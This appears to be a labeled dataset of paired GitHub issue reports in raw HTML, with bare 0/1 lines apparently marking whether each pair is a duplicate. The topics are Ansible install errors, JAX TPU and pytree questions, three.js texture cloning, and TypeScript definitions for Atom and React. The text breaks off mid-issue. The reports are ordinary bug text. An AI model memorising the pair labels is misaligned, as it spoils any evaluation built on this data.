<p dir="auto">Consider this <a href="https://github.com/jhermann/jhermann.github.io/wiki/Ansible#installing-a-pre-release-version">command sequence to install the release candidate</a>.<br> When I don't do the <code class="notranslate">setup.py</code> fix, I get the import error (see below), else I don't.<br> Any reason you have the version with the explicit package name?</p> <div class="highlight highlight-source-shell notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="$ ansible --version Traceback (most recent call last): File &quot;…/.venv/ansible/bin/ansible&quot;, line 7, in &lt;module&gt; execfile(__file__) File &quot;…/bin/ansible&quot;, line 36, in &lt;module&gt; from ansible.runner import Runner ImportError: No module named ansible.runner $ sed -i~ -r -e &quot;s~'ansible': 'lib/ansible'~'': 'lib'~&quot; setup.py $ python setup.py develop -U … $ ansible --version ansible 1.9.0 (detached HEAD bce4bb2ce2) last updated 2015/03/11 23:41:25 (GMT +200) …"><pre class="notranslate">$ ansible --version Traceback (most recent call last): File <span class="pl-s"><span class="pl-pds">"</span>…/.venv/ansible/bin/ansible<span class="pl-pds">"</span></span>, line 7, <span class="pl-k">in</span> <span class="pl-k">&lt;</span>module<span class="pl-k">&gt;</span> execfile(__file__) File <span class="pl-s"><span class="pl-pds">"</span>…/bin/ansible<span class="pl-pds">"</span></span>, line 36, <span class="pl-k">in</span> <span class="pl-k">&lt;</span>module<span class="pl-k">&gt;</span> from ansible.runner import Runner ImportError: No module named ansible.runner $ sed -i~ -r -e <span class="pl-s"><span class="pl-pds">"</span>s~'ansible': 'lib/ansible'~'': 'lib'~<span class="pl-pds">"</span></span> setup.py $ python setup.py develop -U … $ ansible --version ansible 1.9.0 (detached HEAD bce4bb2ce2) last updated 2015/03/11 23:41:25 (GMT +200) …</pre></div> <p dir="auto">Also, a <code class="notranslate">test-requirements.txt</code> for <code class="notranslate">pip</code> would be helpful. If you agree, I can do a PR for both.</p>
0
<p dir="auto">Please:</p> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> Check for duplicate issues.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> Provide a complete example of how to reproduce the bug, wrapped in triple backticks like this:</li> </ul> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="import jax.tools.colab_tpu jax.tools.colab_tpu.setup_tpu() jax.local_devices()"><pre class="notranslate"><span class="pl-k">import</span> <span class="pl-s1">jax</span>.<span class="pl-s1">tools</span>.<span class="pl-s1">colab_tpu</span> <span class="pl-s1">jax</span>.<span class="pl-s1">tools</span>.<span class="pl-s1">colab_tpu</span>.<span class="pl-en">setup_tpu</span>() <span class="pl-s1">jax</span>.<span class="pl-en">local_devices</span>()</pre></div> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> If applicable, include full error messages/tracebacks.</li> </ul> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="RuntimeError Traceback (most recent call last) &lt;ipython-input-2-abdb42bb8a9a&gt; in &lt;module&gt;() 3 import jax.tools.colab_tpu 4 jax.tools.colab_tpu.setup_tpu() ----&gt; 5 jax.local_devices() 2 frames /usr/local/lib/python3.7/dist-packages/jax/_src/lib/xla_bridge.py in _get_backend_uncached(platform) 246 if backend is None: 247 if platform in _backends_errors: --&gt; 248 raise RuntimeError(f&quot;Requested backend {platform}, but it failed &quot; 249 f&quot;to initialize: {_backends_errors[platform]}&quot;) 250 raise RuntimeError(f&quot;Unknown backend {platform}&quot;) RuntimeError: Requested backend tpu_driver, but it failed to initialize: DEADLINE_EXCEEDED: Failed to connect to remote server at address: grpc://10.91.25.74:8470. Error from gRPC: Deadline Exceeded. Details: "><pre class="notranslate"><code class="notranslate">RuntimeError Traceback (most recent call last) &lt;ipython-input-2-abdb42bb8a9a&gt; in &lt;module&gt;() 3 import jax.tools.colab_tpu 4 jax.tools.colab_tpu.setup_tpu() ----&gt; 5 jax.local_devices() 2 frames /usr/local/lib/python3.7/dist-packages/jax/_src/lib/xla_bridge.py in _get_backend_uncached(platform) 246 if backend is None: 247 if platform in _backends_errors: --&gt; 248 raise RuntimeError(f"Requested backend {platform}, but it failed " 249 f"to initialize: {_backends_errors[platform]}") 250 raise RuntimeError(f"Unknown backend {platform}") RuntimeError: Requested backend tpu_driver, but it failed to initialize: DEADLINE_EXCEEDED: Failed to connect to remote server at address: grpc://10.91.25.74:8470. Error from gRPC: Deadline Exceeded. Details: </code></pre></div> <p dir="auto">On the other hand, using an earlier version of driver in <code class="notranslate">setup_tpu</code> <em>does</em> work, e.g.,</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="def setup_tpu(): &quot;&quot;&quot;Sets up Colab to run on TPU. Note: make sure the Colab Runtime is set to Accelerator: TPU. &quot;&quot;&quot; global TPU_DRIVER_MODE if not TPU_DRIVER_MODE: colab_tpu_addr = os.environ['COLAB_TPU_ADDR'].split(':')[0] url = f'http://{colab_tpu_addr}:8475/requestversion/tpu_driver0.1-dev20211030' requests.post(url) TPU_DRIVER_MODE = 1 # The following is required to use TPU Driver as JAX's backend. config.FLAGS.jax_xla_backend = &quot;tpu_driver&quot; config.FLAGS.jax_backend_target = &quot;grpc://&quot; + os.environ['COLAB_TPU_ADDR']"><pre class="notranslate"><code class="notranslate">def setup_tpu(): """Sets up Colab to run on TPU. Note: make sure the Colab Runtime is set to Accelerator: TPU. """ global TPU_DRIVER_MODE if not TPU_DRIVER_MODE: colab_tpu_addr = os.environ['COLAB_TPU_ADDR'].split(':')[0] url = f'http://{colab_tpu_addr}:8475/requestversion/tpu_driver0.1-dev20211030' requests.post(url) TPU_DRIVER_MODE = 1 # The following is required to use TPU Driver as JAX's backend. config.FLAGS.jax_xla_backend = "tpu_driver" config.FLAGS.jax_backend_target = "grpc://" + os.environ['COLAB_TPU_ADDR'] </code></pre></div>
<p dir="auto">Hello,</p> <p dir="auto">After reviewing the following code<br> <a href="https://github.com/google/jax/blob/b4ec72deaefa1094891829cd0b78efb5cc19c28b/jax/_src/tree_util.py#LL545-L571C4">https://github.com/google/jax/blob/b4ec72deaefa1094891829cd0b78efb5cc19c28b/jax/_src/tree_util.py#LL545-L571C4</a><br> If I understood correctly, if the user defines <code class="notranslate">flatten_func_with_keys</code> , <code class="notranslate">register_pytree_with_keys</code> will generate <code class="notranslate">flatten_func</code> registered with the non-key <code class="notranslate">jax</code> registry.</p> <p dir="auto">I think, In some scenarios, the overhead from the list comprehension required for conversion from <code class="notranslate">flatten_func_with_keys</code> to <code class="notranslate">flatten_func</code> can not be justified by the usability of registering the tree once.</p> <p dir="auto">Is it possible to decouple registering the <code class="notranslate">flatten_func_with_keys</code> from <code class="notranslate">flatten_func</code> inside <code class="notranslate">register_pytree_with_keys</code></p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" def flatten_func(tree): key_children, treedef = flatten_with_keys(tree) return [c for _, c in key_children], treedef"><pre class="notranslate"> <span class="pl-k">def</span> <span class="pl-en">flatten_func</span>(<span class="pl-s1">tree</span>): <span class="pl-s1">key_children</span>, <span class="pl-s1">treedef</span> <span class="pl-c1">=</span> <span class="pl-en">flatten_with_keys</span>(<span class="pl-s1">tree</span>) <span class="pl-k">return</span> [<span class="pl-s1">c</span> <span class="pl-k">for</span> <span class="pl-s1">_</span>, <span class="pl-s1">c</span> <span class="pl-c1">in</span> <span class="pl-s1">key_children</span>], <span class="pl-s1">treedef</span></pre></div>
0
<p dir="auto"><a href="https://github.com/mrdoob/three.js/files/3685544/texture-test.zip">texture-test.zip</a></p> <h5 dir="auto">Description of the problem</h5> <p dir="auto">In the attached project, there are a set of sprites created using the same texture.</p> <p dir="auto">The first texture is created and it has an image object inside it. More textures are created from this image.</p> <p dir="auto">If I don't set needsUpdate = true in the loop, none of the textures display.<br> If I do set needsUpdate = true, it uploads each copy of the same texture separately to the GPU and with enough copies runs out of memory.</p> <p dir="auto">Why doesn't it display copied textures without setting needsUpdate = true and why does it keep uploading copies when needsUpdate is true?</p> <p dir="auto">I would expect the first texture displaying would mean subsequent copies would display ok without needsUpdate.<br> Once a base image is uploaded to the GPU, it doesn't need to be uploaded again. Can there be an internal method for tracking which webgl textures have already been created, perhaps based on the source URL so that it checks if it's already on the GPU and if it is, reuse that instead of uploading another copy.</p> <p dir="auto">In this example, the texture creation can be taken outside of the loop but the reason I want it to work inside is that I need to be able to change the parameters for each copy.</p> <h5 dir="auto">Three.js version</h5> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> r106</li> </ul> <h5 dir="auto">Browser</h5> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> All of them</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Chrome</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Firefox</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Internet Explorer</li> </ul> <h5 dir="auto">OS</h5> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> All of them</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Windows</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> macOS</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Linux</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> Android</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> iOS</li> </ul> <h5 dir="auto">Hardware Requirements (graphics card, VR Device, ...)</h5>
<p dir="auto">I use the Texture.clone() function a lot in my code, because I need to set the UV coordinates differently on every model, and this slows down the initiation of the page considerably. If I don't clone the texture, then the scene renders instantly. So something is not optimal in the rendering pipeline.</p> <p dir="auto">It seems that the Texture.clone() function indeed creates a shallow clone that reuses the image, but then when data is sent to the graphics card these two textures are seen as having two separate images, sending the same image twice. Is this correct? Perhaps this is where the bottleneck is.</p> <p dir="auto">Coming from XNA and DirectX, where textures are not much more than containers for bitmap data, I wonder why Three.js also includes UV data in them, instead of specifying UV once the texture is applied to a mesh?</p>
1
<p dir="auto">If you know how to fix the issue, make a pull request instead.</p> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I tried using the <code class="notranslate">@types/xxxx</code> package and had problems.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I tried using the latest stable version of tsc. <a href="https://www.npmjs.com/package/typescript" rel="nofollow">https://www.npmjs.com/package/typescript</a></li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have a question that is inappropriate for <a href="https://stackoverflow.com/" rel="nofollow">StackOverflow</a>. (Please ask any appropriate questions there).</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> <a href="https://github.com/blog/821-mention-somebody-they-re-notified">Mention</a> the authors (see <code class="notranslate">Definitions by:</code> in <code class="notranslate">index.d.ts</code>) so they can respond. <ul dir="auto"> <li>Authors: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GlenCFL/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GlenCFL">@GlenCFL</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smhxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smhxx">@smhxx</a></li> </ul> </li> </ul> <p dir="auto">This one's according to documentation: <a href="https://atom.io/docs/api/v1.22.1/TooltipManager#instance-add" rel="nofollow">https://atom.io/docs/api/v1.22.1/TooltipManager#instance-add</a>:</p> <blockquote> <p dir="auto">title | A String or Function to use for the text in the tip. If a function is passed, <code class="notranslate">this</code> will be set to the <code class="notranslate">target</code> element. This option is mutually exclusive with the item option.</p> </blockquote> <p dir="auto">Current definition is like this:</p> <div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="export interface TooltipManager { /** Add a tooltip to the given element. */ add(target: HTMLElement, options: { title?: string, html?: boolean, item?: HTMLElement|{ element: HTMLElement }, class?: string, placement?: &quot;top&quot;|&quot;bottom&quot;|&quot;left&quot;|&quot;right&quot;|&quot;auto&quot;|(() =&gt; string), trigger?: &quot;click&quot;|&quot;hover&quot;|&quot;focus&quot;|&quot;manual&quot;, delay?: { show: number, hide: number }, keyBindingCommand?: string, keyBindingTarget?: HTMLElement } | { title?: string|(() =&gt; string), html?: boolean, item?: HTMLElement|{ element: HTMLElement }, class?: string, placement?: &quot;top&quot;|&quot;bottom&quot;|&quot;left&quot;|&quot;right&quot;|&quot;auto&quot;|(() =&gt; string), trigger?: &quot;click&quot;|&quot;hover&quot;|&quot;focus&quot;|&quot;manual&quot;, delay?: { show: number, hide: number }, }): Disposable;"><pre class="notranslate"><span class="pl-k">export</span> <span class="pl-k">interface</span> <span class="pl-smi">TooltipManager</span> <span class="pl-kos">{</span> <span class="pl-c">/** Add a tooltip to the given element. */</span> <span class="pl-c1">add</span><span class="pl-kos">(</span><span class="pl-s1">target</span>: <span class="pl-smi">HTMLElement</span><span class="pl-kos">,</span> <span class="pl-s1">options</span>: <span class="pl-kos">{</span> <span class="pl-c1">title</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">html</span>?: <span class="pl-smi">boolean</span><span class="pl-kos">,</span> <span class="pl-c1">item</span>?: <span class="pl-smi">HTMLElement</span><span class="pl-c1">|</span><span class="pl-kos">{</span> <span class="pl-c1">element</span>: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-c1">class</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">placement</span>?: <span class="pl-s">"top"</span><span class="pl-c1">|</span><span class="pl-s">"bottom"</span><span class="pl-c1">|</span><span class="pl-s">"left"</span><span class="pl-c1">|</span><span class="pl-s">"right"</span><span class="pl-c1">|</span><span class="pl-s">"auto"</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">trigger</span>?: <span class="pl-s">"click"</span><span class="pl-c1">|</span><span class="pl-s">"hover"</span><span class="pl-c1">|</span><span class="pl-s">"focus"</span><span class="pl-c1">|</span><span class="pl-s">"manual"</span><span class="pl-kos">,</span> <span class="pl-c1">delay</span>?: <span class="pl-kos">{</span> <span class="pl-c1">show</span>: <span class="pl-smi">number</span><span class="pl-kos">,</span> <span class="pl-c1">hide</span>: <span class="pl-smi">number</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-c1">keyBindingCommand</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">keyBindingTarget</span>?: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span> <span class="pl-c1">|</span> <span class="pl-kos">{</span> <span class="pl-c1">title</span>?: <span class="pl-smi">string</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">html</span>?: <span class="pl-smi">boolean</span><span class="pl-kos">,</span> <span class="pl-c1">item</span>?: <span class="pl-smi">HTMLElement</span><span class="pl-c1">|</span><span class="pl-kos">{</span> <span class="pl-c1">element</span>: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-c1">class</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">placement</span>?: <span class="pl-s">"top"</span><span class="pl-c1">|</span><span class="pl-s">"bottom"</span><span class="pl-c1">|</span><span class="pl-s">"left"</span><span class="pl-c1">|</span><span class="pl-s">"right"</span><span class="pl-c1">|</span><span class="pl-s">"auto"</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">trigger</span>?: <span class="pl-s">"click"</span><span class="pl-c1">|</span><span class="pl-s">"hover"</span><span class="pl-c1">|</span><span class="pl-s">"focus"</span><span class="pl-c1">|</span><span class="pl-s">"manual"</span><span class="pl-kos">,</span> <span class="pl-c1">delay</span>?: <span class="pl-kos">{</span> <span class="pl-c1">show</span>: <span class="pl-smi">number</span><span class="pl-kos">,</span> <span class="pl-c1">hide</span>: <span class="pl-smi">number</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">)</span>: <span class="pl-smi">Disposable</span><span class="pl-kos">;</span><span class="pl-kos"></span></pre></div> <p dir="auto">should probably be:</p> <div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="export interface TooltipManager { /** Add a tooltip to the given element. */ add(target: HTMLElement, options: { item?: HTMLElement|{ element: HTMLElement }, class?: string, placement?: &quot;top&quot;|&quot;bottom&quot;|&quot;left&quot;|&quot;right&quot;|&quot;auto&quot;|(() =&gt; string), trigger?: &quot;click&quot;|&quot;hover&quot;|&quot;focus&quot;|&quot;manual&quot;, delay?: { show: number, hide: number }, keyBindingCommand?: string, keyBindingTarget?: HTMLElement } | { title?: string|(() =&gt; string), html?: boolean, class?: string, placement?: &quot;top&quot;|&quot;bottom&quot;|&quot;left&quot;|&quot;right&quot;|&quot;auto&quot;|(() =&gt; string), trigger?: &quot;click&quot;|&quot;hover&quot;|&quot;focus&quot;|&quot;manual&quot;, delay?: { show: number, hide: number }, }): Disposable;"><pre class="notranslate"><span class="pl-k">export</span> <span class="pl-k">interface</span> <span class="pl-smi">TooltipManager</span> <span class="pl-kos">{</span> <span class="pl-c">/** Add a tooltip to the given element. */</span> <span class="pl-c1">add</span><span class="pl-kos">(</span><span class="pl-s1">target</span>: <span class="pl-smi">HTMLElement</span><span class="pl-kos">,</span> <span class="pl-s1">options</span>: <span class="pl-kos">{</span> <span class="pl-c1">item</span>?: <span class="pl-smi">HTMLElement</span><span class="pl-c1">|</span><span class="pl-kos">{</span> <span class="pl-c1">element</span>: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-c1">class</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">placement</span>?: <span class="pl-s">"top"</span><span class="pl-c1">|</span><span class="pl-s">"bottom"</span><span class="pl-c1">|</span><span class="pl-s">"left"</span><span class="pl-c1">|</span><span class="pl-s">"right"</span><span class="pl-c1">|</span><span class="pl-s">"auto"</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">trigger</span>?: <span class="pl-s">"click"</span><span class="pl-c1">|</span><span class="pl-s">"hover"</span><span class="pl-c1">|</span><span class="pl-s">"focus"</span><span class="pl-c1">|</span><span class="pl-s">"manual"</span><span class="pl-kos">,</span> <span class="pl-c1">delay</span>?: <span class="pl-kos">{</span> <span class="pl-c1">show</span>: <span class="pl-smi">number</span><span class="pl-kos">,</span> <span class="pl-c1">hide</span>: <span class="pl-smi">number</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-c1">keyBindingCommand</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">keyBindingTarget</span>?: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span> <span class="pl-c1">|</span> <span class="pl-kos">{</span> <span class="pl-c1">title</span>?: <span class="pl-smi">string</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">html</span>?: <span class="pl-smi">boolean</span><span class="pl-kos">,</span> <span class="pl-c1">class</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">placement</span>?: <span class="pl-s">"top"</span><span class="pl-c1">|</span><span class="pl-s">"bottom"</span><span class="pl-c1">|</span><span class="pl-s">"left"</span><span class="pl-c1">|</span><span class="pl-s">"right"</span><span class="pl-c1">|</span><span class="pl-s">"auto"</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">trigger</span>?: <span class="pl-s">"click"</span><span class="pl-c1">|</span><span class="pl-s">"hover"</span><span class="pl-c1">|</span><span class="pl-s">"focus"</span><span class="pl-c1">|</span><span class="pl-s">"manual"</span><span class="pl-kos">,</span> <span class="pl-c1">delay</span>?: <span class="pl-kos">{</span> <span class="pl-c1">show</span>: <span class="pl-smi">number</span><span class="pl-kos">,</span> <span class="pl-c1">hide</span>: <span class="pl-smi">number</span> <span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">}</span><span class="pl-kos">)</span>: <span class="pl-smi">Disposable</span><span class="pl-kos">;</span><span class="pl-kos"></span></pre></div> <p dir="auto">While on topic, type of <code class="notranslate">placement</code> is both too concrete and not concrete enough. First of, <code class="notranslate">auto</code> isn't a separate option, but a specifier, so possible values are:</p> <ul dir="auto"> <li><code class="notranslate">top</code>, <code class="notranslate">bottom</code>, <code class="notranslate">left</code>, <code class="notranslate">right</code></li> <li><code class="notranslate">auto top</code>, <code class="notranslate">auto bottom</code>, <code class="notranslate">auto left</code>, <code class="notranslate">auto right</code></li> <li><code class="notranslate">auto</code> is the same as <code class="notranslate">auto top</code></li> </ul> <p dir="auto">On another hand, <em>function</em> has to return one of these options, not arbitrary <code class="notranslate">string</code>.</p> <p dir="auto">Also while on topic, I think <code class="notranslate">item</code> can be anything that Atom's view algorithm will get a view for. At least it's usage suggests that: <a href="https://github.com/atom/atom/blob/v1.22.1/src/tooltip.js#L342">https://github.com/atom/atom/blob/v1.22.1/src/tooltip.js#L342</a></p> <p dir="auto">Last point, it should be possible to reduce code duplication a bit:</p> <div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="export interface TooltipManager { /** Add a tooltip to the given element. */ add(target: HTMLElement, options: ({ item?: HTMLElement|{ element: HTMLElement } } | { title?: string|(() =&gt; string), html?: boolean, keyBindingCommand?: string, keyBindingTarget?: HTMLElement }) &amp; { class?: string, placement?: &quot;top&quot;|&quot;bottom&quot;|&quot;left&quot;|&quot;right&quot;|&quot;auto&quot;|(() =&gt; string), trigger?: &quot;click&quot;|&quot;hover&quot;|&quot;focus&quot;|&quot;manual&quot;, delay?: { show: number, hide: number } }): Disposable;"><pre class="notranslate"><span class="pl-k">export</span> <span class="pl-k">interface</span> <span class="pl-smi">TooltipManager</span> <span class="pl-kos">{</span> <span class="pl-c">/** Add a tooltip to the given element. */</span> <span class="pl-c1">add</span><span class="pl-kos">(</span><span class="pl-s1">target</span>: <span class="pl-smi">HTMLElement</span><span class="pl-kos">,</span> <span class="pl-s1">options</span>: <span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">item</span>?: <span class="pl-smi">HTMLElement</span><span class="pl-c1">|</span><span class="pl-kos">{</span> <span class="pl-c1">element</span>: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span> <span class="pl-kos">}</span> <span class="pl-c1">|</span> <span class="pl-kos">{</span> <span class="pl-c1">title</span>?: <span class="pl-smi">string</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">html</span>?: <span class="pl-smi">boolean</span><span class="pl-kos">,</span> <span class="pl-c1">keyBindingCommand</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">keyBindingTarget</span>?: <span class="pl-smi">HTMLElement</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-c1">&amp;</span> <span class="pl-kos">{</span> <span class="pl-c1">class</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span> <span class="pl-c1">placement</span>?: <span class="pl-s">"top"</span><span class="pl-c1">|</span><span class="pl-s">"bottom"</span><span class="pl-c1">|</span><span class="pl-s">"left"</span><span class="pl-c1">|</span><span class="pl-s">"right"</span><span class="pl-c1">|</span><span class="pl-s">"auto"</span><span class="pl-c1">|</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">string</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-c1">trigger</span>?: <span class="pl-s">"click"</span><span class="pl-c1">|</span><span class="pl-s">"hover"</span><span class="pl-c1">|</span><span class="pl-s">"focus"</span><span class="pl-c1">|</span><span class="pl-s">"manual"</span><span class="pl-kos">,</span> <span class="pl-c1">delay</span>?: <span class="pl-kos">{</span> <span class="pl-c1">show</span>: <span class="pl-smi">number</span><span class="pl-kos">,</span> <span class="pl-c1">hide</span>: <span class="pl-smi">number</span> <span class="pl-kos">}</span> <span class="pl-kos">}</span><span class="pl-kos">)</span>: <span class="pl-smi">Disposable</span><span class="pl-kos">;</span><span class="pl-kos"></span></pre></div> <p dir="auto">Note: not sure on how <code class="notranslate">keyBindingCommand</code> and <code class="notranslate">keyBindingTarget</code> behave when passed with <code class="notranslate">item</code>, documentation is silent about that, but mention of <code class="notranslate">title</code> implies those are ignored if <code class="notranslate">item</code> is set.</p>
<ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I tried using the <code class="notranslate">@types/react</code> package and had problems.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I tried using the latest stable version of tsc. <a href="https://www.npmjs.com/package/typescript" rel="nofollow">https://www.npmjs.com/package/typescript</a></li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have a question that is inappropriate for <a href="https://stackoverflow.com/" rel="nofollow">StackOverflow</a>. (Please ask any appropriate questions there).</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> <a href="https://github.com/blog/821-mention-somebody-they-re-notified">Mention</a> the authors (see <code class="notranslate">Definitions by:</code> in <code class="notranslate">index.d.ts</code>) so they can respond. <ul dir="auto"> <li>Authors: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johnnyreilly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johnnyreilly">@johnnyreilly</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbenezech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbenezech">@bbenezech</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pzavolinsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pzavolinsky">@pzavolinsky</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/digiguru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/digiguru">@digiguru</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ericanderson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ericanderson">@ericanderson</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/morcerf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/morcerf">@morcerf</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tkrotoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tkrotoff">@tkrotoff</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DovydasNavickas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DovydasNavickas">@DovydasNavickas</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/onigoetz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/onigoetz">@onigoetz</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richseviora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richseviora">@richseviora</a></li> </ul> </li> </ul> <div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="file: '.../@types/react/index.d.ts' severity: 'Error' message: 'Interface 'Element' cannot simultaneously extend types 'ReactElement&lt;any&gt;' and 'ReactElement&lt;any&gt;'. Named property 'type' of types 'ReactElement&lt;any&gt;' and 'ReactElement&lt;any&gt;' are not identical.' at: '3454,19' source: 'ts'"><pre class="notranslate">file: <span class="pl-s">'.../@types/react/index.d.ts'</span> severity: <span class="pl-s">'Error'</span> <span class="pl-s1">message</span>: <span class="pl-s">'Interface '</span><span 